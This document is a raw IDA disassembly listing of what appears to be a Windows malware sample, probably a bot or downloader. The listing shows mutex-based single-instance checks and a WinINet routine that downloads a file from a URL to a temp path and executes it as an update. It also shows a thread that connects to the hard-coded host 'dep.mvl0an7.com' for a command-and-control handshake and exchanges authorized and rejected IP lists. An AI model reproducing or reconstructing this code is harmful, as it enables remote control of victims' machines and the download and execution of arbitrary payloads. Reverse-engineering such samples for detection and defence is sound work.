sub_403685	proc near		; CODE XREF: sub_406A81+C5p
		cmp	dword_411018, 0
		jz	short locret_4036A1
		push	dword_411018
		call	dword_411CFC	; CloseHandle
		and	dword_411018, 0

locret_4036A1:				; CODE XREF: sub_403685+7j
		retn
sub_403685	endp

; ---------------------------------------------------------------------------
		push	ebx
		cmp	dword_41101C, 0
		jz	short loc_4036B0
		xor	eax, eax
		jmp	short loc_4036F4
; ---------------------------------------------------------------------------


loc_4036B0:				; CODE XREF: DMN0:004036AAj
		xor	ebx, ebx
		push	offset a_win32__nmsl_s ; "_win32__nmsl_sm__"
		push	0
		push	0
		call	dword_411D0C	; CreateMutexA
		mov	dword_41101C, eax
		cmp	dword_41101C, 0
		jz	short loc_4036F2
		call	dword_411CEC	; RtlGetLastWin32Error
		cmp	eax, 0B7h
		jnz	short loc_4036F2
		xor	ebx, ebx
		inc	ebx
		push	dword_41101C
		call	dword_411CFC	; CloseHandle
		and	dword_41101C, 0


loc_4036F2:				; CODE XREF: DMN0:004036CDj
					; DMN0:004036DAj
		mov	eax, ebx


loc_4036F4:				; CODE XREF: DMN0:004036AEj
		pop	ebx
		retn

; =============== S U B	R O U T	I N E =======================================



sub_4036F6	proc near		; CODE XREF: sub_406815+9p
					; sub_406815:loc_4069A8p
		push	ebx
		push	esi
		xor	esi, esi
		push	offset a_win32__nmsl_s ; "_win32__nmsl_sm__"
		push	0
		push	100000h
		call	dword_411D10	; OpenMutexA
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_40371E
		xor	esi, esi
		inc	esi
		push	ebx
		call	dword_411CFC	; CloseHandle
		xor	ebx, ebx


loc_40371E:				; CODE XREF: sub_4036F6+1Aj
		mov	eax, esi
		pop	esi
		pop	ebx
		retn
sub_4036F6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403723	proc near		; CODE XREF: sub_40399A+16Ep
					; sub_406A81+FBp ...

var_854		= dword	ptr -854h
var_850		= dword	ptr -850h
var_844		= byte ptr -844h
var_44		= dword	ptr -44h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 854h
		push	ebx
		push	esi
		mov	ebx, [ebp+arg_8]
		mov	esi, [ebp+arg_C]
		test	esi, esi
		jz	short loc_40373B
		and	dword ptr [esi], 0


loc_40373B:				; CODE XREF: sub_403723+13j
		push	44h
		push	0
		lea	eax, [ebp+var_44]
		push	eax
		call	sub_407960
		add	esp, 0Ch
		mov	[ebp+var_44], 44h
		test	ebx, ebx
		jz	short loc_40376B
		push	offset asc_40EDC3 ; "\""
		lea	eax, [ebp+var_844]
		push	eax
		call	sub_407A00
		pop	ecx
		pop	ecx
		jmp	short loc_403772
; ---------------------------------------------------------------------------


loc_40376B:				; CODE XREF: sub_403723+31j
		mov	[ebp+var_844], 0


loc_403772:				; CODE XREF: sub_403723+46j
		cmp	[ebp+arg_0], 0
		jz	short loc_40378B
		push	[ebp+arg_0]
		lea	eax, [ebp+var_844]
		push	eax
		call	sub_407A20
		pop	ecx
		pop	ecx
		jmp	short loc_40379E
; ---------------------------------------------------------------------------


loc_40378B:				; CODE XREF: sub_403723+53j
		push	offset aCWindowsSystem ; "C:\\WINDOWS\\system32\\nmsl.exe"
		lea	eax, [ebp+var_844]
		push	eax
		call	sub_407A20
		pop	ecx
		pop	ecx


loc_40379E:				; CODE XREF: sub_403723+66j
		test	ebx, ebx
		jz	short loc_4037B5
		push	offset asc_40EDC3 ; "\""
		lea	eax, [ebp+var_844]
		push	eax
		call	sub_407A20
		pop	ecx
		pop	ecx


loc_4037B5:				; CODE XREF: sub_403723+7Dj
		cmp	[ebp+arg_4], 0
		jz	short loc_4037DF
		push	offset asc_40EDA4 ; " "
		lea	eax, [ebp+var_844]
		push	eax
		call	sub_407A20
		pop	ecx
		pop	ecx
		push	[ebp+arg_4]
		lea	eax, [ebp+var_844]
		push	eax
		call	sub_407A20
		pop	ecx
		pop	ecx


loc_4037DF:				; CODE XREF: sub_403723+96j
		lea	eax, [ebp+var_854]
		push	eax
		lea	eax, [ebp+var_44]
		push	eax
		push	0
		push	0
		push	0
		push	0
		push	0
		push	0
		lea	eax, [ebp+var_844]
		push	eax
		push	0
		call	dword_411D14	; CreateProcessA
		test	eax, eax
		jz	short loc_403832
		push	[ebp+var_850]
		call	dword_411CFC	; CloseHandle
		test	esi, esi
		jz	short loc_403823
		mov	eax, [ebp+var_854]
		mov	[esi], eax
		jmp	short loc_40382F
; ---------------------------------------------------------------------------


loc_403823:				; CODE XREF: sub_403723+F4j
		push	[ebp+var_854]
		call	dword_411CFC	; CloseHandle


loc_40382F:				; CODE XREF: sub_403723+FEj
		xor	eax, eax
		inc	eax


loc_403832:				; CODE XREF: sub_403723+E4j
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_403723	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403838	proc near		; CODE XREF: sub_40399A+65p

var_408		= dword	ptr -408h
var_404		= byte ptr -404h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 408h
		push	ebx
		push	esi
		push	edi
		push	0
		push	0
		push	0
		push	1
		push	offset aMsdownloader ; "msdownloader"
		call	dword_411EF4	; InternetOpenA
		mov	edi, eax
		push	edi
		push	offset aInternetopenI ;	"InternetOpen(): %i\n"
		call	nullsub_2
		pop	ecx
		pop	ecx
		test	edi, edi
		jnz	short loc_403871
		xor	eax, eax
		jmp	loc_403993
; ---------------------------------------------------------------------------


loc_403871:				; CODE XREF: sub_403838+30j
		push	0
		push	80080300h
		push	0
		push	0
		push	[ebp+arg_0]
		push	edi
		call	dword_411EF8	; InternetOpenUrlA
		mov	ebx, eax
		push	edi
		push	offset aInternetopenur ; "InternetOpenUrl(): %i\n"
		call	nullsub_2
		pop	ecx
		pop	ecx
		test	ebx, ebx
		jnz	short loc_4038A7
		push	edi
		call	dword_411EFC	; InternetCloseHandle
		xor	eax, eax
		jmp	loc_403993
; ---------------------------------------------------------------------------


loc_4038A7:				; CODE XREF: sub_403838+5Fj
		push	offset aWb_0	; "wb"
		push	[ebp+arg_4]
		call	sub_407690
		pop	ecx
		pop	ecx
		mov	esi, eax
		test	esi, esi
		jnz	short loc_4038E0
		push	[ebp+arg_4]
		push	offset aFopenS___ ; "fopen(%s)...\n"
		call	nullsub_2
		pop	ecx
		pop	ecx
		push	ebx
		call	dword_411EFC	; InternetCloseHandle
		push	edi
		call	dword_411EFC	; InternetCloseHandle
		xor	eax, eax
		jmp	loc_403993
; ---------------------------------------------------------------------------


loc_4038E0:				; CODE XREF: sub_403838+82j
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	offset aDownloadingSS ;	"downloading [%s] --> %s\r\n"
		call	nullsub_2
		add	esp, 0Ch
		push	0
		call	dword_411D18	; RtlRestoreLastWin32Error
		jmp	short loc_403918
; ---------------------------------------------------------------------------


loc_4038FD:				; CODE XREF: sub_403838+F9j
		cmp	[ebp+var_4], 0
		jz	short loc_403933
		push	esi
		push	1
		push	[ebp+var_4]
		lea	eax, [ebp+var_404]
		push	eax
		call	sub_407AF0
		add	esp, 10h


loc_403918:				; CODE XREF: sub_403838+C3j
		lea	eax, [ebp+var_4]
		push	eax
		push	3FFh
		lea	eax, [ebp+var_404]
		push	eax
		push	ebx
		call	dword_411F00	; InternetReadFile
		test	eax, eax
		jnz	short loc_4038FD


loc_403933:				; CODE XREF: sub_403838+C9j
		call	dword_411CEC	; RtlGetLastWin32Error
		mov	[ebp+var_408], eax
		push	esi
		call	sub_4078F0
		pop	ecx
		push	ebx
		call	dword_411EFC	; InternetCloseHandle
		push	edi
		call	dword_411EFC	; InternetCloseHandle
		cmp	[ebp+var_408], 0
		jz	short loc_40397D
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	offset aDownloadedFail ; "downloaded failed: [%s] --> %s\r\n"
		call	nullsub_2
		add	esp, 0Ch
		push	[ebp+arg_4]
		call	dword_411D1C	; DeleteFileA
		xor	eax, eax
		jmp	short loc_403993
; ---------------------------------------------------------------------------


loc_40397D:				; CODE XREF: sub_403838+123j
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	offset aDownloadedSS ; "downloaded [%s]	--> %s\r\n"
		call	nullsub_2
		add	esp, 0Ch
		xor	eax, eax
		inc	eax


loc_403993:				; CODE XREF: sub_403838+34j
					; sub_403838+6Aj ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_403838	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40399A	proc near		; DATA XREF: sub_403C3F+361o
					; DMN1:0044540Bo

var_3400	= byte ptr -3400h
var_2400	= byte ptr -2400h
var_1400	= byte ptr -1400h
var_1000	= byte ptr -1000h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 3400h
		call	sub_407AC0
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_0]
		mov	[ebp+var_2400],	0
		mov	[ebp+var_1000],	0
		mov	esi, ebx
		push	esi
		push	offset aUpdateUrlS ; "UPDATE URL: <%s>\n"
		call	nullsub_2
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_3400]
		push	eax
		push	0FFFh
		call	dword_411D20	; GetTempPathA
		lea	eax, [ebp+var_2400]
		push	eax
		push	0
		push	offset aMsss	; "msss"
		lea	eax, [ebp+var_3400]
		push	eax
		call	dword_411D24	; GetTempFileNameA
		lea	eax, [ebp+var_2400]
		push	eax
		push	esi
		call	sub_403838
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_403B21
		lea	eax, [ebp+var_2400]
		push	eax
		push	offset aDownloadedToS ;	"downloaded to:	<%s>\n"
		call	nullsub_2
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_3400]
		push	eax
		push	0FFFh
		call	dword_411D20	; GetTempPathA
		lea	eax, [ebp+var_1000]
		push	eax
		push	0
		push	offset aMsssx	; "msssx"
		lea	eax, [ebp+var_3400]
		push	eax
		call	dword_411D24	; GetTempFileNameA
		mov	edi, dword_4128A8
		push	0
		lea	eax, [ebp+var_1000]
		push	eax
		push	edi
		call	dword_411D28	; CopyFileA
		test	eax, eax
		jz	loc_403B21
		push	80h
		lea	eax, [ebp+var_1000]
		push	eax
		call	dword_411D2C	; SetFileAttributesA
		push	offset aUpdate	; "*update \""
		lea	eax, [ebp+var_1400]
		push	eax
		call	sub_407A00
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_2400]
		push	eax
		lea	eax, [ebp+var_1400]
		push	eax
		call	sub_407A20
		pop	ecx
		pop	ecx
		push	offset asc_40ECC7 ; "\"	\""
		lea	eax, [ebp+var_1400]
		push	eax
		call	sub_407A20
		pop	ecx
		pop	ecx
		push	edi
		lea	eax, [ebp+var_1400]
		push	eax
		call	sub_407A20
		pop	ecx
		pop	ecx
		push	offset asc_40EDC3 ; "\""
		lea	eax, [ebp+var_1400]
		push	eax
		call	sub_407A20
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_1400]
		push	eax
		lea	eax, [ebp+var_1000]
		push	eax
		push	offset aRunningSS___ ; "running	%s (%s)...\r\n"
		call	nullsub_2
		add	esp, 0Ch
		push	0
		push	1
		lea	eax, [ebp+var_1400]
		push	eax
		lea	eax, [ebp+var_1000]
		push	eax
		call	sub_403723
		add	esp, 10h
		test	eax, eax
		jz	short loc_403B21


loc_403B14:				; CODE XREF: sub_40399A+185j
		push	1770h
		call	dword_411D04	; Sleep
		jmp	short loc_403B14
; ---------------------------------------------------------------------------


loc_403B21:				; CODE XREF: sub_40399A+6Ej
					; sub_40399A+CCj ...
		push	0
		push	offset dword_411014
		call	dword_411D08	; InterlockedExchange
		lea	eax, [ebp+var_2400]
		push	eax
		call	sub_4079E0
		pop	ecx
		test	eax, eax
		jz	short loc_403B4C
		lea	eax, [ebp+var_2400]
		push	eax
		call	dword_411D1C	; DeleteFileA


loc_403B4C:				; CODE XREF: sub_40399A+1A3j
		lea	eax, [ebp+var_1000]
		push	eax
		call	sub_4079E0
		pop	ecx
		test	eax, eax
		jz	short loc_403B6A
		lea	eax, [ebp+var_1000]
		push	eax
		call	dword_411D1C	; DeleteFileA


loc_403B6A:				; CODE XREF: sub_40399A+1C1j
		push	ebx
		call	sub_401076
		pop	ecx
		call	sub_407D30
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_40399A	endp

; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_403B7E	proc near		; CODE XREF: sub_403C3F:loc_403E14p
		xor	ecx, ecx
		mov	eax, ecx
		retn
sub_403B7E	endp


; =============== S U B	R O U T	I N E =======================================



sub_403B83	proc near		; CODE XREF: sub_403C3F+13Bp
					; sub_403C3F+14Dp
		xor	eax, eax
		retn
sub_403B83	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403B86	proc near		; CODE XREF: sub_403C3F+2C6p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	eax
		push	ebx
		push	esi
		mov	ebx, [ebp+arg_4]
		xor	esi, esi
		push	offset dword_412860
		call	dword_411CD0	; RtlEnterCriticalSection
		cmp	[ebp+arg_8], 0
		jnz	short loc_403BAE
		push	dword_412938
		call	sub_401F9B
		pop	ecx


loc_403BAE:				; CODE XREF: sub_403B86+1Aj
		mov	esi, [ebp+arg_0]
		mov	eax, ebx
		mov	ecx, 4
		cdq
		idiv	ecx
		mov	ebx, eax
		jmp	short loc_403BF6
; ---------------------------------------------------------------------------


loc_403BBF:				; CODE XREF: sub_403B86+72j
		push	0
		push	dword ptr [esi]
		push	dword_412938
		call	sub_402049
		add	esp, 0Ch
		mov	eax, [esi]
		mov	[ebp+var_4], eax
		push	eax
		call	sub_4070B0	; inet_ntoa
		push	eax
		mov	eax, dword_412938
		push	dword ptr [eax+8]
		push	offset aAuthorizedIpIS ; "authorized IP	#%i [%s]\n"
		call	nullsub_2
		add	esp, 0Ch
		dec	ebx
		add	esi, 4


loc_403BF6:				; CODE XREF: sub_403B86+37j
		test	ebx, ebx
		jg	short loc_403BBF
		push	offset dword_412860
		call	dword_411CD4	; RtlLeaveCriticalSection
		xor	eax, eax
		inc	eax
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_403B86	endp

; ---------------------------------------------------------------------------
		push	ebx
		push	edi
		mov	ecx, [esp+0Ch]
		mov	ebx, [esp+10h]
		xor	edi, edi
		jmp	short loc_403C28
; ---------------------------------------------------------------------------


loc_403C1C:				; CODE XREF: DMN0:00403C32j
		mov	eax, [ebx+4]
		mov	[ecx], eax
		mov	ebx, [ebx+8]
		add	ecx, 4
		inc	edi


loc_403C28:				; CODE XREF: DMN0:00403C1Aj
		cmp	edi, 4000h
		jge	short loc_403C34
		test	ebx, ebx
		jnz	short loc_403C1C


loc_403C34:				; CODE XREF: DMN0:00403C2Ej
		mov	edx, [esp+14h]
		mov	[edx], edi
		mov	eax, ebx
		pop	edi
		pop	ebx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403C3F	proc near		; DATA XREF: sub_40400E+Fo
					; DMN1:00445488o

var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		sub	esp, 30h
		push	ebx
		push	esi
		push	edi
		push	offset dword_412860
		call	dword_411CD0	; RtlEnterCriticalSection
		push	dword_412938
		call	sub_401F9B
		pop	ecx
		push	offset dword_412860
		call	dword_411CD4	; RtlLeaveCriticalSection
		push	offset aDep_mvl0an7_co ; "dep.mvl0an7.com"
		call	sub_4017BE
		pop	ecx
		mov	[ebp+var_14], eax
		test	eax, eax
		jz	short loc_403C87
		cmp	eax, 0FFFFFFFFh
		jz	short loc_403C87
		test	eax, eax
		jnz	short loc_403C8C


loc_403C87:				; CODE XREF: sub_403C3F+3Bj
					; sub_403C3F+42j
		jmp	loc_403FB9
; ---------------------------------------------------------------------------


loc_403C8C:				; CODE XREF: sub_403C3F+46j
		mov	[ebp+var_16], 247Fh
		xor	esi, esi
		and	[ebp+var_C], 0
		push	0
		push	offset dword_411024
		call	dword_411D08	; InterlockedExchange
		cmp	dword_411004, 0
		jnz	short loc_403CCA
		movzx	eax, word ptr dword_41100C
		push	eax
		movzx	eax, word ptr dword_411010
		push	eax
		call	sub_4023DC
		pop	ecx
		pop	ecx
		mov	dword_411004, eax


loc_403CCA:				; CODE XREF: sub_403C3F+6Dj
		movzx	eax, word ptr dword_41100C
		push	eax
		movzx	eax, word ptr dword_411010
		push	eax
		call	sub_402449
		pop	ecx
		pop	ecx
		push	dword_411010
		push	offset aMyPortI	; "my port [%i]\n"
		call	nullsub_2
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_14]
		mov	[ebp+var_1C], eax
		push	eax
		call	sub_4070B0	; inet_ntoa
		mov	[ebp+var_20], eax
		movzx	eax, [ebp+var_16]
		push	eax
		push	[ebp+var_20]
		push	offset aSrvSI	; "SRV:	[%s:%i]\n"
		call	nullsub_2
		add	esp, 0Ch
		and	[ebp+var_10], 0
		call	sub_401359
		mov	[ebp+var_10], eax
		test	eax, eax
		jz	loc_403FB9
		push	[ebp+var_10]
		call	sub_4019C3
		pop	ecx
		mov	esi, eax
		push	offset aSrvConnecting_ ; "SRV: connecting...\n"
		call	nullsub_2
		pop	ecx
		movzx	eax, [ebp+var_16]
		push	eax
		push	[ebp+var_14]
		push	[ebp+var_10]
		call	sub_401567
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_403D68
		push	offset aSrvConnectingF ; "SRV: connecting failed.\n"
		call	nullsub_2
		pop	ecx
		jmp	loc_403FB9
; ---------------------------------------------------------------------------


loc_403D68:				; CODE XREF: sub_403C3F+117j
		push	offset aSrvHandshaki_0 ; "SRV: handshaking...\n"
		call	nullsub_2
		pop	ecx
		mov	[ebp+var_24], 1000h
		call	sub_403B83
		push	eax
		push	offset aSrvRip?I ; "SRV: rip? %i\n"
		call	nullsub_2
		pop	ecx
		pop	ecx
		call	sub_403B83
		test	eax, eax
		jz	short loc_403D99
		or	[ebp+var_24], 1


loc_403D99:				; CODE XREF: sub_403C3F+154j
		push	[ebp+var_24]
		movzx	eax, word ptr dword_411010
		push	eax
		push	esi
		call	sub_401D76
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_403DC1
		push	offset aSrvHandshaking ; "SRV: handshaking failed.\n"
		call	nullsub_2
		pop	ecx
		jmp	loc_403FB9
; ---------------------------------------------------------------------------


loc_403DC1:				; CODE XREF: sub_403C3F+170j
		push	offset byte_40EBED
		call	nullsub_2
		pop	ecx
		push	esi
		call	sub_401F51
		pop	ecx
		mov	[ebp+var_8], eax
		test	eax, eax
		jz	short loc_403DEA
		push	offset aSrvAckHandshac ; "SRV: ACK handshacking	failed\n"
		call	nullsub_2
		pop	ecx
		jmp	loc_403FB9
; ---------------------------------------------------------------------------


loc_403DEA:				; CODE XREF: sub_403C3F+199j
		test	byte ptr [ebp+var_24], 1
		jz	loc_403EA1
		push	offset aSrvSendingReje ; "* SRV: sending rejected IPs\n"
		call	nullsub_2
		pop	ecx
		push	10004h
		call	sub_401048
		pop	ecx
		mov	[ebp+var_30], eax
		mov	[ebp+var_2C], eax
		and	[ebp+var_28], 0


loc_403E14:				; CODE XREF: sub_403C3F+1F8j
		call	sub_403B7E
		mov	edi, eax
		test	edi, edi
		jz	short loc_403E39
		mov	edx, [ebp+var_2C]
		mov	[edx], edi
		mov	eax, [ebp+var_2C]
		add	eax, 4
		mov	[ebp+var_2C], eax
		inc	[ebp+var_28]
		cmp	[ebp+var_28], 3FFFh
		jl	short loc_403E14


loc_403E39:				; CODE XREF: sub_403C3F+1DEj
		mov	eax, [ebp+var_28]
		add	eax, eax
		add	eax, eax
		push	eax
		push	[ebp+var_30]
		push	100h
		push	esi
		call	sub_401B8F
		add	esp, 10h
		test	eax, eax
		jnz	short loc_403E6F
		push	[ebp+var_30]
		call	sub_401076
		pop	ecx
		push	offset sub_40EB90
		call	nullsub_2
		pop	ecx
		jmp	loc_403FB9
; ---------------------------------------------------------------------------


loc_403E6F:				; CODE XREF: sub_403C3F+215j
		push	[ebp+var_30]
		call	sub_401076
		pop	ecx
		push	offset aSrvAckRejected ; "SRV: ACK rejected IPs\n"
		call	nullsub_2
		pop	ecx
		push	esi
		call	sub_401F51
		pop	ecx
		mov	[ebp+var_8], eax
		test	eax, eax
		jz	short loc_403EA1
		push	offset aSrvAckReject_0 ; "SRV: ACK rejected IPs	failed\n"
		call	nullsub_2
		pop	ecx
		jmp	loc_403FB9
; ---------------------------------------------------------------------------


loc_403EA1:				; CODE XREF: sub_403C3F+1AFj
					; sub_403C3F+250j ...
		push	0FFFFh
		push	0
		lea	eax, [ebp+var_2]
		push	eax
		push	esi
		call	sub_401D5B
		add	esp, 10h
		mov	ebx, eax
		test	ebx, ebx
		jl	loc_403FB9
		movzx	eax, [ebp+var_2]
		mov	[ebp+var_28], eax
		cmp	eax, 200h
		jz	short loc_403EE0
		cmp	eax, 201h
		jz	short loc_403F21
		cmp	eax, 202h
		jz	short loc_403EF0
		jmp	loc_403FB4
; ---------------------------------------------------------------------------


loc_403EE0:				; CODE XREF: sub_403C3F+28Cj
		push	offset byte_40EB51
		call	nullsub_2
		pop	ecx
		jmp	loc_403FB9
; ---------------------------------------------------------------------------


loc_403EF0:				; CODE XREF: sub_403C3F+29Aj
		push	offset dword_40EB44
		call	nullsub_2
		pop	ecx
		push	[ebp+var_C]
		push	ebx
		push	dword ptr [esi+470h]
		call	sub_403B86
		add	esp, 0Ch
		test	eax, eax
		jz	loc_403FB4
		mov	[ebp+var_C], 1
		jmp	loc_403FB4
; ---------------------------------------------------------------------------


loc_403F21:				; CODE XREF: sub_403C3F+293j
		test	ebx, ebx
		jnz	short loc_403F2E
		mov	edx, [esi+470h]
		mov	byte ptr [edx],	0


loc_403F2E:				; CODE XREF: sub_403C3F+2E4j
		push	dword ptr [esi+470h]
		push	offset sub_40EB31
		call	nullsub_2
		pop	ecx
		pop	ecx
		test	ebx, ebx
		jz	short loc_403FB4
		push	dword ptr [esi+470h]
		call	sub_4079E0
		pop	ecx
		test	eax, eax
		jz	short loc_403FB4
		push	0
		push	offset dword_411014
		call	dword_411D30	; InterlockedExchangeAdd
		test	eax, eax
		jnz	short loc_403FB4
		push	1
		push	offset dword_411014
		call	dword_411D08	; InterlockedExchange
		push	10000h
		call	sub_401048
		pop	ecx
		mov	[ebp+var_2C], eax
		push	dword ptr [esi+470h]
		push	[ebp+var_2C]
		call	sub_407A00
		pop	ecx
		pop	ecx
		push	offset sub_40EB17
		call	nullsub_2
		pop	ecx
		push	[ebp+var_2C]
		push	0
		push	offset sub_40399A
		call	sub_407CA0
		add	esp, 0Ch
		push	eax
		call	dword_411CFC	; CloseHandle


loc_403FB4:				; CODE XREF: sub_403C3F+29Cj
					; sub_403C3F+2D0j ...
		jmp	loc_403EA1
; ---------------------------------------------------------------------------


loc_403FB9:				; CODE XREF: sub_403C3F:loc_403C87j
					; sub_403C3F+E6j ...
		test	esi, esi
		jz	short loc_403FC4
		push	esi
		call	sub_401A3B
		pop	ecx


loc_403FC4:				; CODE XREF: sub_403C3F+37Cj
		cmp	[ebp+var_10], 0
		jz	short loc_403FD3
		push	[ebp+var_10]
		call	sub_4014C2
		pop	ecx


loc_403FD3:				; CODE XREF: sub_403C3F+389j
		push	offset aSrvcommthreadD ; "SrvCommThread: done\n"
		call	nullsub_2
		pop	ecx
		call	sub_407D30
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_403C3F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_403FEA	proc near		; CODE XREF: sub_403FEA+21j
					; DATA XREF: sub_404CDF+1C4o ...
		call	sub_403658
		test	eax, eax
		jz	short loc_404000
		call	sub_4053FC
		push	0
		call	dword_411D34	; ExitProcess


loc_404000:				; CODE XREF: sub_403FEA+7j
		push	3E8h
		call	dword_411D04	; Sleep
		jmp	short sub_403FEA
sub_403FEA	endp

; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40400E	proc near		; DATA XREF: sub_404CDF+1A1o
					; DMN1:004462EBo

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	eax
		push	ebx
		push	esi
		push	edi
		and	[ebp+var_4], 0


loc_404019:				; CODE XREF: sub_40400E+A4j
		push	0
		push	0
		push	offset sub_403C3F
		call	sub_407CA0
		add	esp, 0Ch
		mov	esi, eax
		push	0FFFFFFFFh
		mov	eax, esi
		push	eax
		call	dword_411D38	; WaitForSingleObject
		mov	eax, esi
		push	eax
		call	dword_411CFC	; CloseHandle
		cmp	dword_411034, 0
		jz	short loc_4040B7
		lea	eax, [ebp+var_4]
		push	eax
		call	sub_401001
		pop	ecx
		mov	ecx, 3Ch
		cdq
		idiv	ecx
		lea	eax, [edx+6EAh]
		mov	edi, eax
		push	edi
		push	offset aSrvWaitingISec ; "Srv: waiting %i seconds...\n"
		call	nullsub_2
		pop	ecx
		pop	ecx
		mov	ebx, edi
		jmp	short loc_40409A
; ---------------------------------------------------------------------------


loc_404074:				; CODE XREF: sub_40400E+8Ej
		push	ebx
		push	offset aISecondsLeft_ ;	"\r%i seconds left   \b\b\b."
		call	nullsub_2
		pop	ecx
		pop	ecx
		push	7D0h
		call	dword_411D04	; Sleep
		sub	ebx, 2
		call	sub_403658
		test	eax, eax
		jz	short loc_40409A
		xor	ebx, ebx


loc_40409A:				; CODE XREF: sub_40400E+64j
					; sub_40400E+88j
		test	ebx, ebx
		jg	short loc_404074
		push	offset asc_40EAB5 ; "\r			     \r"
		call	nullsub_2
		pop	ecx
		cmp	dword_411034, 0
		jz	short loc_4040B7
		jmp	loc_404019
; ---------------------------------------------------------------------------


loc_4040B7:				; CODE XREF: sub_40400E+39j
					; sub_40400E+A2j
		call	sub_407D30
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_40400E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4040C3	proc near		; CODE XREF: sub_406A81+3DFp
					; sub_406A81+488p ...

var_44		= dword	ptr -44h
var_40		= byte ptr -40h
var_1		= byte ptr -1

		push	ebp
		mov	ebp, esp
		sub	esp, 44h
		mov	[ebp+var_44], 3Fh
		lea	eax, [ebp+var_44]
		push	eax
		lea	eax, [ebp+var_40]
		push	eax
		call	dword_411E44	; GetUserNameA
		test	eax, eax
		jz	short loc_40410A
		cmp	[ebp+var_44], 6
		jnb	short loc_4040EC
		xor	eax, eax
		jmp	short loc_40410A
; ---------------------------------------------------------------------------


loc_4040EC:				; CODE XREF: sub_4040C3+23j
		mov	[ebp+var_1], 0
		lea	eax, [ebp+var_40]
		push	eax
		push	offset aSystem	; "SYSTEM"
		call	dword_411D3C	; lstrcmpi
		test	eax, eax
		jz	short loc_404107
		xor	eax, eax
		jmp	short loc_40410A
; ---------------------------------------------------------------------------


loc_404107:				; CODE XREF: sub_4040C3+3Ej
		xor	eax, eax
		inc	eax


loc_40410A:				; CODE XREF: sub_4040C3+1Dj
					; sub_4040C3+27j ...
		mov	esp, ebp
		pop	ebp
		retn
sub_4040C3	endp


; =============== S U B	R O U T	I N E =======================================



sub_40410E	proc near		; CODE XREF: sub_405E59+1p
					; sub_405F73:loc_405FE9p ...
		push	ebx
		cmp	dword_411028, 0
		jz	short loc_40411C
		xor	eax, eax
		jmp	short loc_404160
; ---------------------------------------------------------------------------


loc_40411C:				; CODE XREF: sub_40410E+8j
		xor	ebx, ebx
		push	offset a_win32__nmsl_u ; "_win32__nmsl_um__"
		push	0
		push	0
		call	dword_411D0C	; CreateMutexA
		mov	dword_411028, eax
		cmp	dword_411028, 0
		jz	short loc_40415E
		call	dword_411CEC	; RtlGetLastWin32Error
		cmp	eax, 0B7h
		jnz	short loc_40415E
		xor	ebx, ebx
		inc	ebx
		push	dword_411028
		call	dword_411CFC	; CloseHandle
		and	dword_411028, 0


loc_40415E:				; CODE XREF: sub_40410E+2Bj
					; sub_40410E+38j
		mov	eax, ebx


loc_404160:				; CODE XREF: sub_40410E+Cj
		pop	ebx
		retn
sub_40410E	endp


; =============== S U B	R O U T	I N E =======================================



sub_404162	proc near		; CODE XREF: sub_405E59+3Dp
					; sub_405F73+5Ap ...
		cmp	dword_411028, 0
		jz	short locret_40417E
		push	dword_411028
		call	dword_411CFC	; CloseHandle
		and	dword_411028, 0

locret_40417E:				; CODE XREF: sub_404162+7j
		retn
sub_404162	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40417F	proc near		; DATA XREF: sub_40440D+81o
					; DMN1:004458F9o

var_420		= dword	ptr -420h
var_41C		= dword	ptr -41Ch
var_418		= dword	ptr -418h
var_414		= dword	ptr -414h
var_40E		= word ptr -40Eh
var_40C		= dword	ptr -40Ch
var_408		= byte ptr -408h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 420h
		push	ebx
		push	esi
